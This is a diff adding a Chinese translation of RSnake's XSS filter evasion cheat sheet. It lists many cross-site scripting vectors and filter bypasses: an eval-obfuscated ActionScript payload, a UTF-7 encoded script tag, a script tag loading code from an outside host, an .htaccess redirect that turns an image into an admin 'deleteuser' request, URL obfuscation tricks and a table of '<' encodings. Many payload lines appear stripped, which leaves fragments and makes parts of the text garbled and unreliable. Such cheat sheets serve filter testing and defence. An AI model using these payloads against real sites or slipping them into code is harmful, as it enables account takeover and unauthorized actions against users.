+
+-----
+##DIV expression##
+在冒号和表达式之间添加换行符是一个更加有效的去绕过实际的xss过滤器的表达式变体。
+
+
+
+-----
+##html条件选择注释块##
+只能工作在IE5.0 以及更高版或是使用了ie渲染引擎的Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的,因此它们并不会被移除。这将使我们的xss向量可使用。或者系统可能对某些内容添加注释去试图无害的渲染它。如我们所见,这有时并不起作用。
+
+
+
+-----
+##BASE标签##
+工作在ie或是使用了安全模块的Netscape 8.1,你需要使用 "//"去避免javascript错误。它需要当前网站使用相对路径(例如images/image.jpg)而非绝对路径。如果路径开始用一个斜杠(例如"/images/image.jpg"),你需要去掉xss向量中的一个斜杠(只有在两个斜杠的情况下才会起到注释作用)
+
+
+
+-----
+##OBJECT标签##
+如果允许object标签,那么你也可以注入病毒payloads去感染用户。类似于APPLET标签。下面这个链接文件是一个包含xss代码的html文件。
+
+
+
+-----
+##使用一个你可以载入包含有xss代码的flash文件的 EMBED 标签##
+点击这个demo,如果你加入属性allowScriptAccess="never" and allownetworking="internal",则可以缓解这个风险(谢谢Jonathan Vanasco 提供的这个信息)
+
+
+
+-----
+##在flash中使用ActionScript可以混淆你的xss向量##
+
+ a="get";
+ b="URL(\"";
+ c="javascript:";
+ d="alert('XSS');\")";
+ eval(a+b+c+d);
+
+-----
+## CDATA混淆的 XML数据岛##
+这个xss向量仅可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎网站时发现。
+
+
+
+
+----
+##使用XML数据岛生成含有javascript代码的当前域xml文件##
+它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。
+
+
+
+
+----
+##HTML+TIME 在XML中##
+它展示了 Grey Magic 曾将是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html与body标签之间。
+
+
+
+
+
">
+
+
+-----
+##简单的修改字符去绕过过滤器对 ".js"的过滤##
+在xss向量你可以重命名你的javascript文件为一个图片
+
+
+
+----
+##SSI (服务器端包含)##
+这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点,因为如果你可以运行命令在服务器端,那么毫无疑问会有更加严重的问题存在。
+
+
+
+-----
+##PHP##
+需要php被安装在服务器端去使用这个xss向量。同样的,如果你可以运行任何远程脚本,那么将会有更加严重的问题。
+
+ echo('alert("XSS")'); ?>
+
+----
+##嵌入命令的IMG##
+它是用于那些需要用户认证后才可以访问的页面,并且在访问这些页面的过程中会执行某些命令。因此它将可以创建或删除用户(如果访问者是管理员),或是寄送某些凭证等等,虽然它是较少被使用但是是非常有用的。
+
+
+
+-----
+##嵌入命令的IMG II##
+这是更加的可怕,因为并没有特别的标识符去鉴别它是否可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304(或其他可行方案)去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG SRC="a.jpg">可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess(apche下)配置文件去完成这个向量。(感谢Timo为这部分。)
+
+ Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
+
+----
+##Cookie篡改##
+这是公认的不着边际,但是我已经发下一个例子是用 <META 去覆盖cookie。另一个例子是有些网站使用cookie中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静联系在一起的时候,你可以通过修改cookie让javascript输入到用户页面中。(你可以借此让用户退出,改变用户的状态,甚至让用户以你的身份登录)
+
+
+
+-----
+##UTF-7编码##
+如果存在xss的页面没有包含页面charset header,或是对于任何被设为UTF-7 的浏览器,我们可以利用下面的代码。(感谢Roman Ivanov 的提供),点击这儿为这个例子。(如果页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的 Netscape 8.1,则你不需要声明 charset )在没有改变编码的情况下它是不能工作在任何现代浏览器,这也是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google的 自定义 404 脚本中.
+
+ +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+
+-----
+##使用HTML 引用封装的xss##
+它是被测试在ie,具体因情况而异。这个向量是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC...",通过正则"/<script[^>]+src/i"进行过滤的xss过滤器。
+
+
+
+另一个逃避相同正则 "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"过滤的xss代码
+
+
+
+再一个xss例子去绕过相同的过滤器,对于"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的正则过滤。我知道,我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过src加载远程脚本的过滤器。(当然,还有一些其他方法去处理它,如果它们允许<SCRIPT> )
+
+
+
+最后一个绕过"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"正则匹配的例子,通过重音符。(无法工作在firfox)
+
+
+
+这个xss例子押注于那些并不去拼配一对引号,而是去发现任何引号后就立即结束一个参数字符串的正则过滤器。
+
+
+
+这xss仍然让我担心, as it would be nearly impossible to stop this without blocking all active content:
+
+ PT SRC="http://ha.ckers.org/xss.js">
+
+##URL 字符串绕过##
+这里假设 "http://www.google.com/" 这种形式的url在语法上是不被过滤器允许的。
+
+**IP代替域名**
+
+ XSS
+
+**URL 编码**
+
+ XSS
+
+**双字节编码**
+(注意:有其他的双字节编码变种。请参考下面混淆后的ip地址为更多信息)
+
+ XSS
+
+**十六进制编码**
+The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因为十六进制数字在0-f之间,因此第三位开头的0可以被省略掉。
+
+ XSS
+
+**八进制编码**
+Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
+
+ XSS
+
+**混合编码**
+让我们混合基本各种编码并且插入一个tab和换行符。为什么浏览器允许这样,我是不知道。但是它是可以工作当它们被包含在引号之间。
+
+ XSS
+
+**协议绕过**
+“//”代替“http:// ” 可以节省更多字符。这是非常有用的当输入空间是有限的时候。节省两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://" 这样的正则过滤。(感谢 Ozh 提出这部分)。你也可以改变"//" 为 "\\"。你需要保证斜杠在适当的地方。否则可能会被当作一个相对路径的url。
+
+ XSS
+
+**Google "feeling lucky" I**
+Firefox 使用 Google的"feeling lucky" 函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用各种关键字针对任何Firefox用户进行攻击。它是使用了"keyword:" 协议。你可以使用多个关键字像这样:XSS+RSnake。它是无法使用在 Firefox as of 2.0。
+
+ XSS
+
+**Google "feeling lucky" II**
+这是使用一个小技巧让他工作在Firefox,因为只有Firefox实现了 "feeling lucky" 函数。不像下一个例子,这是无法工作在 Opera ,由于 Opera认为它是一种老的钓鱼攻击。其实它只是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框,其实我想说Opera是不支持这种形式的。另外它已经不再被支持在 Firefox 2.0。
+
+ XSS
+
+**Google "feeling lucky" III**
+通过畸形url来工作在Firefox 和 Opera浏览器。因为只有它们实现了 "feeling lucky" 函数。像上面的例子一样,它们需要你的网站在谷歌搜索对应关键字时排名第一。(例如google)
+
+ XSS
+
+**移除别名**
+结合上面的url。移除 "www." 将节省四个字符。
+
+ XSS
+
+**绝对 DNS用额外的点**
+
+ XSS
+
+**JavaScript link location**
+
+ XSS
+
+**针对内容替换的攻击向量**
+这里假设 "http://www.google.com/" 这种链接会被替换为空。我确实有一个去针对特殊文字过滤的简单的攻击向量。这是一个例子去帮助创建向量。(IE: "java script:" 被替换为"java script:", 它是仍可以工作在 IE和使用安全模块的 Netscape 8.1+ 和 Opera)
+
+ XSS
+
+-----
+##字符编码表##
+最后附上 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常被渲染的,但是可以在上文中某些情景下得到渲染。
+
+ <
+ %3C
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ <
+ \x3c
+ \x3C
+ \u003c
+ \u003C
+
+-----
+##字符编码和ip混淆器##
+下面网站中包含了对xss有用的各种基本转换器。
+http://ha.ckers.org/xsscalc.html
+
+----
+##作者和主编##
+Robert "RSnake" Hansen
+
+----
\ No newline at end of file